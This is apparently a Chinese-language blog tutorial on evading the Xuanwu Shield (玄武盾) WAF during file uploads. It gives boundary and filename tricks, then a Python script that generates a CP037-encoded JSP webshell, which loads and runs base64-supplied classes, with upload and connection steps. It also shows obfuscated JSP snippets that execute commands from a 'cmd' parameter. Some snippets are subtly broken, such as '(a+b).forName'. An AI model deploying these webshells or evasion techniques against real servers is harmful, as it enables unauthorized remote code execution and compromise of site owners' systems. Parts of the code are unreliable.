玄武盾的几种绕过姿势
字数 712 2025-08-26 22:11:15
玄武盾(WAF)绕过技术详解
1. 文件名绕过技术
1.1 边界(boundary)格式绕过
-
空格绕过:在boundary等号前后添加空格
Content-Type: multipart/form-data; boundary = ----WebKitFormBoundaryMJPuN1aHyzfAO2m3 -
ASCII码09绕过:使用制表符(TAB)替代空格
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMJPuN1aHyzfAO2m3
1.2 文件名后加斜杠
- 在文件名后添加
/字符可以绕过某些WAF的文件名检测filename="test.jsp/"
2. 编码绕过技术
2.1 CP037编码绕过
CP037(也称为EBCDIC 037)是一种IBM大型机使用的编码方式,可用于绕过WAF检测。
示例JSP Webshell编码脚本(Python2):
data = '''<?xml version="1.0" encoding="cp037"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
<jsp:declaration>
class PERFORM extends ClassLoader {
PERFORM(ClassLoader c) { super(c);}
public Class bookkeeping(byte[] b) { return super.defineClass(b, 0, b.length); }
}
public byte[] branch(String str) throws Exception {
Class base64;
byte[] value = null;
try {
base64=Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
} catch (Exception e) {
try {
base64=Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
} catch (Exception ee) {}
}
return value;
}
</jsp:declaration>
<jsp:scriptlet>
String cls = request.getParameter("xxoo");
if (cls != null) {
new PERFORM(this.getClass().getClassLoader()).bookkeeping(branch(cls)).newInstance().equals(new Object[]{request,response});
}
</jsp:scriptlet>
</jsp:root>'''
fcp037 = open('cp037.jsp', 'wb')
fcp037.write(data.encode('cp037'))
使用方法:
- 运行脚本生成cp037编码的jsp文件
- 使用Burp Suite的"Paste from file"功能上传
- 该Webshell支持.jsp和.jspx后缀
- 连接方式:
http://target/cp037.jsp?xxoo=[base64编码的命令]
2.2 Unicode编码绕过
- 使用Unicode编码替换关键字符可以绕过关键词检测
- 例如将
<替换为\u003C,>替换为\u003E
3. 请求方法绕过
3.1 畸形请求方法
- 使用非标准HTTP方法或修改标准方法的大小写
- 示例:
GET /test.jsp HTTP/1.1 Host: target.com X-Method-Override: POST
4. 文件内容绕过
4.1 注释插入
- 在恶意代码中插入无害注释或拆分关键词
<% // 正常注释 Clas/**/s.forName("java.lang.Runtime").getMethod("exec",String.class).invoke( Clas/**/s.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null), request.getParameter("cmd") ); %>
4.2 字符串拼接
- 将敏感关键词拆分为多个部分再拼接
<% String a = "Cla"; String b = "ss"; String c = "forName"; (a+b).forName("java.lang.Runtime").getMethod("exec",String.class).invoke( (a+b).forName("java.lang.Runtime").getMethod("getRuntime").invoke(null), request.getParameter("cmd") ); %>
5. 组合绕过技术
实际渗透测试中,通常需要组合使用多种绕过技术:
- 使用CP037编码文件内容
- 在文件名后添加斜杠
- 修改boundary格式
- 使用畸形HTTP方法
- 在Burp Suite中直接粘贴文件内容
注意:玄武盾等WAF产品会不断更新规则,上述方法可能需要根据实际情况进行调整和组合使用。